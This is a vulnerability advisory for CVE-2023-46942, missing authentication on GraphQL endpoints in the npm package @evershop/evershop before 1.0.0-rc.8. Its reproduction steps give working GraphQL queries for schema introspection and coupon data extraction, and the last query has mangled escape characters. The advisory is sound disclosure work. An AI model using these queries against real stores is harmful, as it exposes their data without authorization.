Disclosed vulnerabilities
Fixed: Aug 25, 2023
CVE-2023-46942 Published: Aug 25, 2023

Lack of Authentication on GraphQL Endpoints in @evershop/evershop

7.5 High Severity authentication endpoints GraphQL introspection lack
Bruno Dias Reported by Checkmarx Zero

Summary

NPM’s package @evershop/evershop prior to 1.0.0-rc.8 has a lack of authentication in its GraphQL endpoints, allowing any user to access sensitive data without proper authorization.

Product

This vulnerability affects NPM’s package @evershop/evershop in versions prior to 1.0.0-rc.8.

Impact

This vulnerability allows any user to execute introspection queries and perform actions without proper authorization in the GraphQL API (enumeration of the database and extraction of the whole schema details) leading to the exposure of sensitive data.

Steps to reproduce

  1. Install the @evershop/evershop package dependency for any version prior to 1.0.0-rc.8
  2. Run the EverShop Web Application on localhost
  3. Make a POST request to GraphQL API with the following query to enumerate the database and extract schema:
    {"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"}
  4. Make a POST request to GraphQL API to retrieve basic details about coupons (current filters, the total number of coupons, their respective IDs) with the following query:
    {"query": "query { coupons(filters:[]) { currentFilters { operation } total items { couponId } }}"}
  5. Once the coupon ID is obtained make a POST request to GraphQL API with the following query (in this example coupon ID: 1) to obtain the full information of the coupon:
    {"query": "query {ntcoupon(id:1) {nttupdateApinttcouponnttendDate {nttttimezonentt}nttdescriptionnttdiscountAmountnttuserCondition {ntttgroupsntt}nttcouponIdnttuuidnttdeleteApintteditUrlnttusedTimenttcondition {ntttorderTotalntt}nttmaxUsesTimePerCouponntttargetProducts {ntttproducts {nttttoperatornttt}ntt}nttfreeShippingnttbuyxGety {ntttskuntt}nttdiscountTypenttmaxUsesTimePerCustomernttstartDate {nttttimezonentt}nttstatusnt}n}"}

Expected result:

Successful extraction of detailed information about a specific coupon using the obtained coupon ID.

Remediation

A fix was released in commit 72d478a, where the admin and frontStore GraphQL schema were seperated. Users are recommended to upgrade to version 1.0.0-rc.8, which includes this fix.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst Bruno Dias.

Resources

  1. Pull Request
  2. Commit

Stay connected and never miss a research update!